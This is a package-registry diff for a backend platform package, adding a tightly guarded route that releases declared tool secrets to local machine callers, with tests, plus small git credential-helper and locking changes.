@bevel-software/platform-core-backend 0.12.0 → 0.13.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (177) hide show
  1. package/THIRD-PARTY-NOTICES.md +9 -7
  2. package/dist/core/create-core-server.d.ts.map +1 -1
  3. package/dist/core/create-core-server.js +8 -1
  4. package/dist/core/create-core-server.js.map +1 -1
  5. package/dist/core/create-core-services.d.ts.map +1 -1
  6. package/dist/core/create-core-services.js.map +1 -1
  7. package/dist/modules/access/access-control.service.d.ts +58 -2
  8. package/dist/modules/access/access-control.service.d.ts.map +1 -1
  9. package/dist/modules/access/access-control.service.js +174 -33
  10. package/dist/modules/access/access-control.service.js.map +1 -1
  11. package/dist/modules/access/admin-locked-commit.d.ts.map +1 -1
  12. package/dist/modules/access/admin-locked-commit.js +1 -0
  13. package/dist/modules/access/admin-locked-commit.js.map +1 -1
  14. package/dist/modules/access/synced-groups-committer.js +1 -1
  15. package/dist/modules/access/synced-groups-committer.js.map +1 -1
  16. package/dist/modules/access-model/access-errors.d.ts +11 -0
  17. package/dist/modules/access-model/access-errors.d.ts.map +1 -1
  18. package/dist/modules/access-model/access-errors.js +14 -0
  19. package/dist/modules/access-model/access-errors.js.map +1 -1
  20. package/dist/modules/access-model/access-grammar.d.ts +24 -8
  21. package/dist/modules/access-model/access-grammar.d.ts.map +1 -1
  22. package/dist/modules/access-model/access-grammar.js +64 -3
  23. package/dist/modules/access-model/access-grammar.js.map +1 -1
  24. package/dist/modules/declared-variables/declared-variables.routes.d.ts +42 -0
  25. package/dist/modules/declared-variables/declared-variables.routes.d.ts.map +1 -0
  26. package/dist/modules/declared-variables/declared-variables.routes.js +135 -0
  27. package/dist/modules/declared-variables/declared-variables.routes.js.map +1 -0
  28. package/dist/modules/declared-variables/index.d.ts +2 -0
  29. package/dist/modules/declared-variables/index.d.ts.map +1 -0
  30. package/dist/modules/declared-variables/index.js +2 -0
  31. package/dist/modules/declared-variables/index.js.map +1 -0
  32. package/dist/modules/diff/diff.routes.d.ts +1 -1
  33. package/dist/modules/diff/diff.routes.d.ts.map +1 -1
  34. package/dist/modules/diff/diff.routes.js +3 -3
  35. package/dist/modules/diff/diff.routes.js.map +1 -1
  36. package/dist/modules/kb-fs/clone-config.d.ts +40 -2
  37. package/dist/modules/kb-fs/clone-config.d.ts.map +1 -1
  38. package/dist/modules/kb-fs/clone-config.js +94 -2
  39. package/dist/modules/kb-fs/clone-config.js.map +1 -1
  40. package/dist/modules/kb-fs/locking-filesystem.d.ts +16 -0
  41. package/dist/modules/kb-fs/locking-filesystem.d.ts.map +1 -1
  42. package/dist/modules/kb-fs/locking-filesystem.js +20 -0
  43. package/dist/modules/kb-fs/locking-filesystem.js.map +1 -1
  44. package/dist/modules/kb-fs/repo-path.d.ts +32 -0
  45. package/dist/modules/kb-fs/repo-path.d.ts.map +1 -0
  46. package/dist/modules/kb-fs/repo-path.js +54 -0
  47. package/dist/modules/kb-fs/repo-path.js.map +1 -0
  48. package/dist/modules/secrets-vault/db-secrets-vault.service.d.ts.map +1 -1
  49. package/dist/modules/secrets-vault/db-secrets-vault.service.js +60 -18
  50. package/dist/modules/secrets-vault/db-secrets-vault.service.js.map +1 -1
  51. package/dist/modules/secrets-vault/mcp-oauth-discovery.service.d.ts +20 -0
  52. package/dist/modules/secrets-vault/mcp-oauth-discovery.service.d.ts.map +1 -1
  53. package/dist/modules/secrets-vault/mcp-oauth-discovery.service.js +121 -47
  54. package/dist/modules/secrets-vault/mcp-oauth-discovery.service.js.map +1 -1
  55. package/dist/modules/secrets-vault/secrets-vault.routes.d.ts.map +1 -1
  56. package/dist/modules/secrets-vault/secrets-vault.routes.js +20 -2
  57. package/dist/modules/secrets-vault/secrets-vault.routes.js.map +1 -1
  58. package/dist/modules/tool-helpers/tool-context.d.ts.map +1 -1
  59. package/dist/modules/tool-helpers/tool-context.js +1 -0
  60. package/dist/modules/tool-helpers/tool-context.js.map +1 -1
  61. package/dist/modules/tool-manuals/mcp-json-discovery.d.ts.map +1 -1
  62. package/dist/modules/tool-manuals/mcp-json-discovery.js +45 -12
  63. package/dist/modules/tool-manuals/mcp-json-discovery.js.map +1 -1
  64. package/dist/modules/tool-manuals/mcp-server-edit.service.d.ts.map +1 -1
  65. package/dist/modules/tool-manuals/mcp-server-edit.service.js +2 -1
  66. package/dist/modules/tool-manuals/mcp-server-edit.service.js.map +1 -1
  67. package/dist/modules/tool-manuals/tool-manuals.contract.d.ts +40 -8
  68. package/dist/modules/tool-manuals/tool-manuals.contract.d.ts.map +1 -1
  69. package/dist/modules/tool-manuals/tool-manuals.service.d.ts +38 -14
  70. package/dist/modules/tool-manuals/tool-manuals.service.d.ts.map +1 -1
  71. package/dist/modules/tool-manuals/tool-manuals.service.js +164 -55
  72. package/dist/modules/tool-manuals/tool-manuals.service.js.map +1 -1
  73. package/dist/modules/tool-manuals/tool-manuals.tools.d.ts.map +1 -1
  74. package/dist/modules/tool-manuals/tool-manuals.tools.js +10 -5
  75. package/dist/modules/tool-manuals/tool-manuals.tools.js.map +1 -1
  76. package/dist/modules/tool-manuals/utcp-cli-parse-only.d.ts +55 -0
  77. package/dist/modules/tool-manuals/utcp-cli-parse-only.d.ts.map +1 -0
  78. package/dist/modules/tool-manuals/utcp-cli-parse-only.js +76 -0
  79. package/dist/modules/tool-manuals/utcp-cli-parse-only.js.map +1 -0
  80. package/dist/modules/workflow/agent-tools/workflow.tools.d.ts +3 -1
  81. package/dist/modules/workflow/agent-tools/workflow.tools.d.ts.map +1 -1
  82. package/dist/modules/workflow/agent-tools/workflow.tools.js +19 -2
  83. package/dist/modules/workflow/agent-tools/workflow.tools.js.map +1 -1
  84. package/dist/modules/workflow/git/git.service.d.ts +32 -1
  85. package/dist/modules/workflow/git/git.service.d.ts.map +1 -1
  86. package/dist/modules/workflow/git/git.service.js +70 -5
  87. package/dist/modules/workflow/git/git.service.js.map +1 -1
  88. package/dist/modules/workflow/git/pull-request.service.d.ts +3 -3
  89. package/dist/modules/workflow/git/pull-request.service.d.ts.map +1 -1
  90. package/dist/modules/workflow/git/pull-request.service.js +20 -2
  91. package/dist/modules/workflow/git/pull-request.service.js.map +1 -1
  92. package/dist/modules/workflow/pending-commits.worker.d.ts +8 -0
  93. package/dist/modules/workflow/pending-commits.worker.d.ts.map +1 -1
  94. package/dist/modules/workflow/pending-commits.worker.js +74 -16
  95. package/dist/modules/workflow/pending-commits.worker.js.map +1 -1
  96. package/dist/modules/workflow/review-workflow/review-workflow.service.d.ts.map +1 -1
  97. package/dist/modules/workflow/review-workflow/review-workflow.service.js +7 -0
  98. package/dist/modules/workflow/review-workflow/review-workflow.service.js.map +1 -1
  99. package/dist/modules/workflow/workflow.routes.d.ts.map +1 -1
  100. package/dist/modules/workflow/workflow.routes.js +12 -0
  101. package/dist/modules/workflow/workflow.routes.js.map +1 -1
  102. package/dist/modules/workflow/workflow.service.d.ts +39 -0
  103. package/dist/modules/workflow/workflow.service.d.ts.map +1 -1
  104. package/dist/modules/workflow/workflow.service.js +116 -6
  105. package/dist/modules/workflow/workflow.service.js.map +1 -1
  106. package/dist/modules/workspace/startup/kb-git.d.ts.map +1 -1
  107. package/dist/modules/workspace/startup/kb-git.js +21 -4
  108. package/dist/modules/workspace/startup/kb-git.js.map +1 -1
  109. package/dist/modules/workspace/workspace.service.d.ts +52 -8
  110. package/dist/modules/workspace/workspace.service.d.ts.map +1 -1
  111. package/dist/modules/workspace/workspace.service.js +121 -23
  112. package/dist/modules/workspace/workspace.service.js.map +1 -1
  113. package/dist/modules/workspace/workspace.tools.d.ts.map +1 -1
  114. package/dist/modules/workspace/workspace.tools.js +31 -15
  115. package/dist/modules/workspace/workspace.tools.js.map +1 -1
  116. package/kb-template/AGENTS.md +52 -8
  117. package/package.json +6 -5
  118. package/src/core/create-core-server.ts +13 -1
  119. package/src/core/create-core-services.ts +1 -0
  120. package/src/modules/access/__tests__/access-control.atref-cache.test.ts +260 -0
  121. package/src/modules/access/__tests__/access-groups.test.ts +28 -0
  122. package/src/modules/access/access-control.service.ts +198 -37
  123. package/src/modules/access/admin-locked-commit.ts +1 -0
  124. package/src/modules/access/synced-groups-committer.ts +1 -1
  125. package/src/modules/access-model/__tests__/access-grammar.test.ts +101 -1
  126. package/src/modules/access-model/access-errors.ts +19 -0
  127. package/src/modules/access-model/access-grammar.ts +67 -3
  128. package/src/modules/declared-variables/__tests__/declared-variables.route.test.ts +166 -0
  129. package/src/modules/declared-variables/declared-variables.routes.ts +151 -0
  130. package/src/modules/declared-variables/index.ts +1 -0
  131. package/src/modules/diff/__tests__/diff.routes.rejectPathsLocked.test.ts +4 -4
  132. package/src/modules/diff/diff.routes.ts +3 -2
  133. package/src/modules/kb-fs/__tests__/clone-config.test.ts +63 -2
  134. package/src/modules/kb-fs/__tests__/locking-filesystem.test.ts +306 -131
  135. package/src/modules/kb-fs/__tests__/repo-path.test.ts +106 -0
  136. package/src/modules/kb-fs/clone-config.ts +97 -2
  137. package/src/modules/kb-fs/locking-filesystem.ts +30 -0
  138. package/src/modules/kb-fs/repo-path.ts +56 -0
  139. package/src/modules/secrets-vault/__tests__/db-secrets-vault.oauth.test.ts +104 -0
  140. package/src/modules/secrets-vault/__tests__/mcp-oauth-discovery.service.test.ts +52 -0
  141. package/src/modules/secrets-vault/__tests__/tool-owner-gate.route.test.ts +48 -1
  142. package/src/modules/secrets-vault/db-secrets-vault.service.ts +73 -22
  143. package/src/modules/secrets-vault/mcp-oauth-discovery.service.ts +141 -50
  144. package/src/modules/secrets-vault/secrets-vault.routes.ts +20 -2
  145. package/src/modules/tool-helpers/tool-context.ts +1 -0
  146. package/src/modules/tool-manuals/__tests__/mcp-json-discovery.test.ts +38 -0
  147. package/src/modules/tool-manuals/__tests__/mcp-server-edit.service.test.ts +2 -0
  148. package/src/modules/tool-manuals/__tests__/tool-manuals.cli.test.ts +243 -0
  149. package/src/modules/tool-manuals/__tests__/tool-manuals.mcp-oauth.test.ts +95 -0
  150. package/src/modules/tool-manuals/__tests__/tool-manuals.service.test.ts +17 -1
  151. package/src/modules/tool-manuals/mcp-json-discovery.ts +39 -15
  152. package/src/modules/tool-manuals/mcp-server-edit.service.ts +2 -1
  153. package/src/modules/tool-manuals/tool-manuals.contract.ts +40 -9
  154. package/src/modules/tool-manuals/tool-manuals.service.ts +156 -28
  155. package/src/modules/tool-manuals/tool-manuals.tools.ts +10 -5
  156. package/src/modules/tool-manuals/utcp-cli-parse-only.ts +76 -0
  157. package/src/modules/workflow/__tests__/pending-commits.worker.test.ts +46 -0
  158. package/src/modules/workflow/__tests__/workflow.service.commitFileWhileLocked.test.ts +11 -5
  159. package/src/modules/workflow/__tests__/workflow.service.releaseLock.test.ts +172 -7
  160. package/src/modules/workflow/agent-tools/__tests__/workflow.tools.test.ts +60 -1
  161. package/src/modules/workflow/agent-tools/workflow.tools.ts +18 -1
  162. package/src/modules/workflow/git/__tests__/git.service.changedFilesForPr.test.ts +56 -0
  163. package/src/modules/workflow/git/__tests__/git.service.commitFile.strayPath.test.ts +162 -0
  164. package/src/modules/workflow/git/__tests__/pull-request.service.getPrDetail.test.ts +114 -0
  165. package/src/modules/workflow/git/git.service.ts +73 -6
  166. package/src/modules/workflow/git/pull-request.service.ts +22 -4
  167. package/src/modules/workflow/pending-commits.worker.ts +80 -18
  168. package/src/modules/workflow/review-workflow/__tests__/approval-states.test.ts +60 -0
  169. package/src/modules/workflow/review-workflow/review-workflow.service.ts +5 -0
  170. package/src/modules/workflow/workflow.routes.ts +12 -0
  171. package/src/modules/workflow/workflow.service.ts +123 -7
  172. package/src/modules/workspace/__tests__/workspace.service.test.ts +1 -1
  173. package/src/modules/workspace/__tests__/workspace.tools.test.ts +45 -0
  174. package/src/modules/workspace/startup/__tests__/kb-startup-runner.test.ts +141 -0
  175. package/src/modules/workspace/startup/kb-git.ts +20 -7
  176. package/src/modules/workspace/workspace.service.ts +132 -25
  177. package/src/modules/workspace/workspace.tools.ts +35 -15
@@ -0,0 +1,166 @@
1
+ import type { Server as HttpServer } from 'node:http';
2
+ import express from 'express';
3
+ import { afterEach, describe, expect, it, vi } from 'vitest';
4
+ import { createDeclaredVariableRoutes } from '../declared-variables.routes.js';
5
+ import type { IToolManualService, ToolManualSummary } from '../../tool-manuals/tool-manuals.contract.js';
6
+ import type { ISecretsVaultService } from '../../secrets-vault/secrets-vault.contract.js';
7
+
8
+ /**
9
+ * The one core route that releases secret VALUES. What is worth pinning here is
10
+ * not the happy path but the shape of the boundary: the caller names a FILE,
11
+ * the server decides the variables, unreadable means 404, and a
12
+ * platform-executed tool never releases anything.
13
+ */
14
+
15
+ const GIT_TOOL: ToolManualSummary = {
16
+ slug: 'git',
17
+ name: 'git',
18
+ path: 'Plugins/Engineering/software.bevel.hexis/tools/git.tool',
19
+ type: 'inline',
20
+ remote: false,
21
+ variables: [
22
+ { name: 'GITHUB_TOKEN', scope: 'admin' },
23
+ { name: 'OPTIONAL_TOKEN', scope: 'admin' },
24
+ ],
25
+ };
26
+
27
+ const REMOTE_TOOL: ToolManualSummary = {
28
+ slug: 'billing',
29
+ name: 'billing',
30
+ path: 'Plugins/billing.tool',
31
+ type: 'http',
32
+ remote: true,
33
+ variables: [{ name: 'BILLING_KEY', scope: 'admin' }],
34
+ };
35
+
36
+ let httpServer: HttpServer | undefined;
37
+
38
+ interface Harness {
39
+ base: string;
40
+ resolve: ReturnType<typeof vi.fn>;
41
+ }
42
+
43
+ async function mount(opts: {
44
+ userId?: string;
45
+ /** How the caller authenticated. `session` is a browser; anything else is a machine. */
46
+ source?: 'session' | 'external' | 'internal';
47
+ manuals?: ToolManualSummary[];
48
+ secrets?: Record<string, string>;
49
+ }): Promise<Harness> {
50
+ const userId = opts.userId ?? 'user-1';
51
+ const source = opts.source ?? 'external';
52
+ const secrets = opts.secrets ?? {};
53
+ const resolve = vi.fn(async (_u: string, key: string) => secrets[key] ?? null);
54
+
55
+ const toolManualService = {
56
+ listAccessible: async () => opts.manuals ?? [],
57
+ } as unknown as IToolManualService;
58
+ const secretsVault = { resolve } as unknown as ISecretsVaultService;
59
+
60
+ const app = express();
61
+ app.use(express.json());
62
+ app.use(
63
+ createDeclaredVariableRoutes(
64
+ toolManualService,
65
+ secretsVault,
66
+ (req, _res, next) => {
67
+ if (userId) req.toolAuth = { userId, source, scope: 'write' } as typeof req.toolAuth;
68
+ next();
69
+ },
70
+ async () => 'runner@x.eu',
71
+ ),
72
+ );
73
+ httpServer = await new Promise<HttpServer>((r) => {
74
+ const s = app.listen(0, () => r(s));
75
+ });
76
+ const port = (httpServer.address() as { port: number }).port;
77
+ return { base: `http://127.0.0.1:${port}`, resolve };
78
+ }
79
+
80
+ afterEach(async () => {
81
+ if (httpServer) await new Promise<void>((r) => httpServer!.close(() => r()));
82
+ httpServer = undefined;
83
+ vi.restoreAllMocks();
84
+ });
85
+
86
+ describe('POST /agent/local-tools/:slug/variables', () => {
87
+ it('resolves exactly what the manual declares, and reports the rest as missing', async () => {
88
+ const { base, resolve } = await mount({
89
+ manuals: [GIT_TOOL],
90
+ secrets: { git_GITHUB_TOKEN: 'ghp_secret' },
91
+ });
92
+ const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
93
+ expect(res.status).toBe(200);
94
+ expect(await res.json()).toEqual({
95
+ name: 'git',
96
+ variables: { GITHUB_TOKEN: 'ghp_secret' },
97
+ missing: ['OPTIONAL_TOKEN'],
98
+ });
99
+ // The keys asked of the vault come from the FILE, namespaced per manual.
100
+ expect(resolve.mock.calls.map((c) => c[1])).toEqual(['git_GITHUB_TOKEN', 'git_OPTIONAL_TOKEN']);
101
+ });
102
+
103
+ it('returns a variable named __proto__ rather than losing it to the prototype', async () => {
104
+ // `__proto__` is a valid `[A-Za-z0-9_]+` name. On a plain object the
105
+ // assignment sets the prototype, and the resolved secret vanished from the
106
+ // response with nothing to say it had.
107
+ const proto: ToolManualSummary = { ...GIT_TOOL, variables: [{ name: '__proto__', scope: 'admin' }] };
108
+ const { base } = await mount({ manuals: [proto], secrets: { git___proto__: 'p-secret' } });
109
+ const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
110
+ const body = (await res.json()) as { variables: Record<string, string>; missing: string[] };
111
+ expect(body.variables.__proto__).toBe('p-secret');
112
+ expect(body.missing).toEqual([]);
113
+ });
114
+
115
+ it('never caches a response carrying a secret', async () => {
116
+ const { base } = await mount({ manuals: [GIT_TOOL], secrets: { git_GITHUB_TOKEN: 'x' } });
117
+ const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
118
+ expect(res.headers.get('cache-control')).toBe('no-store');
119
+ });
120
+
121
+ it('refuses a tool the platform itself executes', async () => {
122
+ // A remote-capable tool's credentials are used server-side; releasing them
123
+ // would egress a secret that had no reason to leave.
124
+ const { base, resolve } = await mount({ manuals: [REMOTE_TOOL], secrets: { billing_BILLING_KEY: 'k' } });
125
+ const res = await fetch(`${base}/agent/local-tools/billing/variables`, { method: 'POST' });
126
+ expect(res.status).toBe(409);
127
+ expect(resolve).not.toHaveBeenCalled();
128
+ });
129
+
130
+ it('404s a manual the caller cannot read', async () => {
131
+ const { base, resolve } = await mount({ manuals: [] });
132
+ expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(404);
133
+ expect(resolve).not.toHaveBeenCalled();
134
+ });
135
+
136
+ it('403s an unauthenticated caller', async () => {
137
+ const { base } = await mount({ userId: '', manuals: [GIT_TOOL] });
138
+ expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(403);
139
+ });
140
+
141
+ it('refuses a BROWSER SESSION, even one that can read the tool', async () => {
142
+ // `manualAuth` accepts a session JWT, which is right for manual discovery
143
+ // and wrong here: this route hands back secret VALUES, and the Secrets page
144
+ // is deliberately write-only — a field starts empty even when a value
145
+ // exists. A session that could read values back would undo that for anyone
146
+ // with mere READ access to a `.tool`.
147
+ const { base, resolve } = await mount({
148
+ source: 'session',
149
+ manuals: [GIT_TOOL],
150
+ secrets: { git_GITHUB_TOKEN: 'ghp_secret' },
151
+ });
152
+ const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
153
+ expect(res.status).toBe(403);
154
+ expect(await res.text()).not.toContain('ghp_secret');
155
+ expect(resolve).not.toHaveBeenCalled();
156
+ });
157
+
158
+ it('allows the machine callers that need it', async () => {
159
+ for (const source of ['external', 'internal'] as const) {
160
+ const { base } = await mount({ source, manuals: [GIT_TOOL], secrets: { git_GITHUB_TOKEN: 'x' } });
161
+ expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(200);
162
+ if (httpServer) await new Promise<void>((r) => httpServer!.close(() => r()));
163
+ httpServer = undefined;
164
+ }
165
+ });
166
+ });
@@ -0,0 +1,151 @@
1
+ import express, { type Request, type RequestHandler } from 'express';
2
+ import { utcpNamespacedKey } from '../../shared/utcp-namespace.js';
3
+ import type { IToolManualService } from '../tool-manuals/tool-manuals.contract.js';
4
+ import type { ISecretsVaultService } from '../secrets-vault/secrets-vault.contract.js';
5
+
6
+ type ResolveUserEmail = (userId: string) => Promise<string | undefined>;
7
+
8
+ /**
9
+ * The ONLY core route that returns secret VALUES.
10
+ *
11
+ * Everywhere else a credential is resolved in-process at tool-call time and
12
+ * never crosses the wire — `resolve()` has one caller, the UTCP variable
13
+ * loader. One runtime outside this process legitimately needs values anyway:
14
+ * the LOCAL MCP server, which executes a `remote: false` `.tool` on the user's
15
+ * own machine and has to expand that manual's `${VAR}` refs there.
16
+ *
17
+ * The discipline that makes this safe, and the reason it is a narrow route
18
+ * rather than a generic "resolve these keys" endpoint: **the caller never names
19
+ * the variables**. It names a knowledge-base file; the server re-reads that
20
+ * file from the DEFAULT branch and resolves exactly what the file declares.
21
+ * The knowledge base is the allowlist, it is reviewable as a diff, and no
22
+ * caller — however privileged its connection key — can widen it.
23
+ *
24
+ * Three further constraints hold here:
25
+ *
26
+ * 1. **Read access is required.** A caller that cannot read the declaring file
27
+ * gets a 404, not an empty object: whether a manual exists is itself
28
+ * information.
29
+ * 2. **Only local manuals.** A remote-capable `.tool`'s credentials are used
30
+ * server-side; handing them to a local caller would egress a secret that had
31
+ * no reason to leave.
32
+ * 3. **Values are never logged, only names.** Every resolve emits one audit
33
+ * line naming the caller, the file and the variable names — enough to
34
+ * reconstruct who was handed what, and never the what itself.
35
+ *
36
+ * Responses are `no-store`: a secret must not sit in an intermediary cache.
37
+ *
38
+ * An overlay that ships its own kind of declaring file adds its own route in
39
+ * this same shape rather than widening this one. The allowlist has to be a file
40
+ * the server itself reads, and a route that understood several file kinds would
41
+ * be one refactor away from taking the list from the caller.
42
+ */
43
+ export function createDeclaredVariableRoutes(
44
+ toolManualService: IToolManualService,
45
+ secretsVault: ISecretsVaultService,
46
+ manualAuth: RequestHandler,
47
+ resolveUserEmail: ResolveUserEmail,
48
+ ): express.Router {
49
+ const router = express.Router();
50
+
51
+ /**
52
+ * Who is asking — and only if it is a MACHINE.
53
+ *
54
+ * `manualAuth` also accepts a browser session JWT, which is right for the
55
+ * rest of the agent surface: manual discovery is a read-only listing a
56
+ * signed-in user may legitimately fetch. It is wrong here. This route hands
57
+ * back secret VALUES, and the Secrets page is deliberately write-only —
58
+ * a field starts empty even when a value exists, and saving replaces rather
59
+ * than reveals. A session token that could read values back would undo that,
60
+ * and would do it for anyone who can merely READ a `.tool`.
61
+ *
62
+ * The caller that needs this is the local MCP server, which authenticates
63
+ * with a connection key or an internal token. A browser has no reason to ask
64
+ * at all, so a session is refused rather than scoped.
65
+ */
66
+ async function machineCaller(req: Request): Promise<{ userId: string; email: string } | null> {
67
+ const auth = req.toolAuth;
68
+ if (!auth?.userId || auth.source === 'session') return null;
69
+ try {
70
+ const email = await resolveUserEmail(auth.userId);
71
+ return email ? { userId: auth.userId, email } : null;
72
+ } catch {
73
+ return null;
74
+ }
75
+ }
76
+
77
+ /**
78
+ * Resolve one variable set, and report which names came back empty.
79
+ *
80
+ * A missing secret is NOT an error here. The runtime that asked is better
81
+ * placed to decide — a local tool may have an optional token, and the
82
+ * execution layer wants to fail the step with the variable's name in the
83
+ * message rather than receive a 500 it can only call "infra". So the value
84
+ * map carries what resolved and `missing` carries the rest.
85
+ */
86
+ async function resolveAll(
87
+ userId: string,
88
+ entries: { name: string; key: string }[],
89
+ ): Promise<{ values: Record<string, string>; missing: string[] }> {
90
+ // Null-prototype: a manual may legitimately declare a variable named
91
+ // `__proto__` (the name grammar is `[A-Za-z0-9_]+`), and on a plain object
92
+ // that assignment silently sets the prototype instead of a property — the
93
+ // secret resolves and then vanishes from the response.
94
+ const values: Record<string, string> = Object.create(null) as Record<string, string>;
95
+ const missing: string[] = [];
96
+ const resolved = await Promise.all(
97
+ entries.map(async (e) => ({ name: e.name, value: await secretsVault.resolve(userId, e.key) })),
98
+ );
99
+ for (const r of resolved) {
100
+ if (typeof r.value === 'string' && r.value.length > 0) values[r.name] = r.value;
101
+ else missing.push(r.name);
102
+ }
103
+ return { values, missing };
104
+ }
105
+
106
+ /**
107
+ * The variables a LOCAL `.tool` declares, for the local MCP server to expand
108
+ * into a tool invocation there. The manual is re-read server-side; the caller
109
+ * sends nothing but the slug.
110
+ */
111
+ router.post('/agent/local-tools/:slug/variables', manualAuth, async (req, res) => {
112
+ const who = await machineCaller(req);
113
+ if (!who) {
114
+ return void res.status(403).json({
115
+ error:
116
+ 'This endpoint releases secret values to a local runtime and is not reachable with a browser session. ' +
117
+ 'Use a connection key.',
118
+ });
119
+ }
120
+ const slug = String(req.params.slug);
121
+ try {
122
+ // `listAccessible` already applies the per-file read verdict, so an
123
+ // unreadable manual is simply absent — same fail-closed read model the
124
+ // catalog uses.
125
+ const manual = (await toolManualService.listAccessible(who.email)).find((m) => m.slug === slug);
126
+ if (!manual) return void res.status(404).json({ error: 'Not found' });
127
+ if (manual.remote !== false) {
128
+ return void res.status(409).json({
129
+ error:
130
+ 'This tool runs on the platform, so its credentials are resolved there and never released. ' +
131
+ 'Only a `remote: false` tool resolves its variables locally.',
132
+ });
133
+ }
134
+ const entries = (manual.variables ?? []).map((v) => ({
135
+ name: v.name,
136
+ key: utcpNamespacedKey(manual.name, v.name),
137
+ }));
138
+ const { values, missing } = await resolveAll(who.userId, entries);
139
+ console.info(
140
+ `[declared-variables] local tool "${manual.path}" resolved for user=${who.userId}: ` +
141
+ `provided=[${Object.keys(values).join(',')}] missing=[${missing.join(',')}]`,
142
+ );
143
+ res.set('Cache-Control', 'no-store').json({ name: manual.name, variables: values, missing });
144
+ } catch (err) {
145
+ console.error('[declared-variables] local tool resolve failed:', err instanceof Error ? err.message : err);
146
+ res.status(500).json({ error: 'Failed to resolve variables' });
147
+ }
148
+ });
149
+
150
+ return router;
151
+ }
@@ -0,0 +1 @@
1
+ export { createDeclaredVariableRoutes } from './declared-variables.routes.js';
@@ -82,7 +82,7 @@ describe('rejectPathsLocked', () => {
82
82
  const h = await makeHarness();
83
83
  workspaceDir = h.workspaceDir;
84
84
 
85
- await rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
85
+ await rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
86
86
  'knowledge-base/a.md',
87
87
  'knowledge-base/added.md',
88
88
  ]);
@@ -104,7 +104,7 @@ describe('rejectPathsLocked', () => {
104
104
  const h = await makeHarness();
105
105
  workspaceDir = h.workspaceDir;
106
106
  await expect(
107
- rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, []),
107
+ rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', []),
108
108
  ).resolves.toBeUndefined();
109
109
  expect(h.calls).toEqual([]);
110
110
  });
@@ -119,7 +119,7 @@ describe('rejectPathsLocked', () => {
119
119
  workspaceDir = h.workspaceDir;
120
120
 
121
121
  await expect(
122
- rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
122
+ rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
123
123
  'knowledge-base/a.md',
124
124
  'knowledge-base/added.md',
125
125
  ]),
@@ -140,7 +140,7 @@ describe('rejectPathsLocked', () => {
140
140
  workspaceDir = h.workspaceDir;
141
141
 
142
142
  await expect(
143
- rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
143
+ rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
144
144
  'knowledge-base/a.md',
145
145
  ]),
146
146
  ).rejects.toBeInstanceOf(WorkflowValidationError);
@@ -45,6 +45,7 @@ export async function rejectPathsLocked(
45
45
  diffService: IDiffService,
46
46
  workspaceId: string,
47
47
  user: AuthUser,
48
+ kbDirName: string,
48
49
  paths: string[],
49
50
  ): Promise<void> {
50
51
  if (paths.length === 0) return;
@@ -54,7 +55,7 @@ export async function rejectPathsLocked(
54
55
  if (total === 0) return;
55
56
  const lockingFs = new LockingFilesystem(
56
57
  { basePath: plan.workspaceDir, contained: true },
57
- { workflow: workflowService, workspaceId, branch, user },
58
+ { workflow: workflowService, workspaceId, branch, user, kbDirName },
58
59
  );
59
60
  try {
60
61
  await lockingFs.writeFiles(
@@ -265,7 +266,7 @@ export function createDiffRoutes(
265
266
  current?.changes.map((c) => c.path) ?? [],
266
267
  );
267
268
  }
268
- await rejectPathsLocked(workflowService, diffService, req.params.id, user, paths);
269
+ await rejectPathsLocked(workflowService, diffService, req.params.id, user, kbDirName, paths);
269
270
  res.json({ session: await diffService.currentSession(req.params.id) });
270
271
  } catch (err) {
271
272
  const { status, body } = toHttpError(err);
@@ -1,5 +1,11 @@
1
- import { describe, it, expect } from 'vitest';
2
- import { cloneTrackingConfigArgs, ORIGIN_FETCH_REFSPEC } from '../clone-config.js';
1
+ import { describe, it, expect, afterEach } from 'vitest';
2
+ import {
3
+ cloneCredentialArgs,
4
+ cloneCredentialConfigArgs,
5
+ cloneTrackingConfigArgs,
6
+ credentialHelperValue,
7
+ ORIGIN_FETCH_REFSPEC,
8
+ } from '../clone-config.js';
3
9
 
4
10
  describe('cloneTrackingConfigArgs', () => {
5
11
  // A slashed draft name is the everyday case (`<email-localpart>/<slug>`), and
@@ -13,3 +19,58 @@ describe('cloneTrackingConfigArgs', () => {
13
19
  ]);
14
20
  });
15
21
  });
22
+
23
+ describe('credential config', () => {
24
+ const ORIGINAL = process.env.GITHUB_TOKEN;
25
+ afterEach(() => {
26
+ if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
27
+ else process.env.GITHUB_TOKEN = ORIGINAL;
28
+ });
29
+
30
+ it('reads the token from the environment at call time, never inlining its value', () => {
31
+ process.env.GITHUB_TOKEN = 'ghp_supersecret';
32
+ const helper = credentialHelperValue('x-access-token');
33
+ expect(helper).toContain('password=$GITHUB_TOKEN');
34
+ expect(helper).not.toContain('ghp_supersecret');
35
+ });
36
+
37
+ it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
38
+ delete process.env.GITHUB_TOKEN;
39
+ expect(credentialHelperValue('x-access-token')).toBeNull();
40
+ // A fresh clone simply carries nothing…
41
+ expect(cloneCredentialArgs('x-access-token')).toEqual([]);
42
+ // …but an adopted clone may carry a helper from when a token WAS
43
+ // configured, and that stale helper (answering with an empty password)
44
+ // would shadow whatever auth the operator fell back to — so the repair
45
+ // path removes it. Callers run this tolerantly: unset of a missing key
46
+ // exits non-zero and is the expected no-op.
47
+ expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
48
+ ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
49
+ ]);
50
+ });
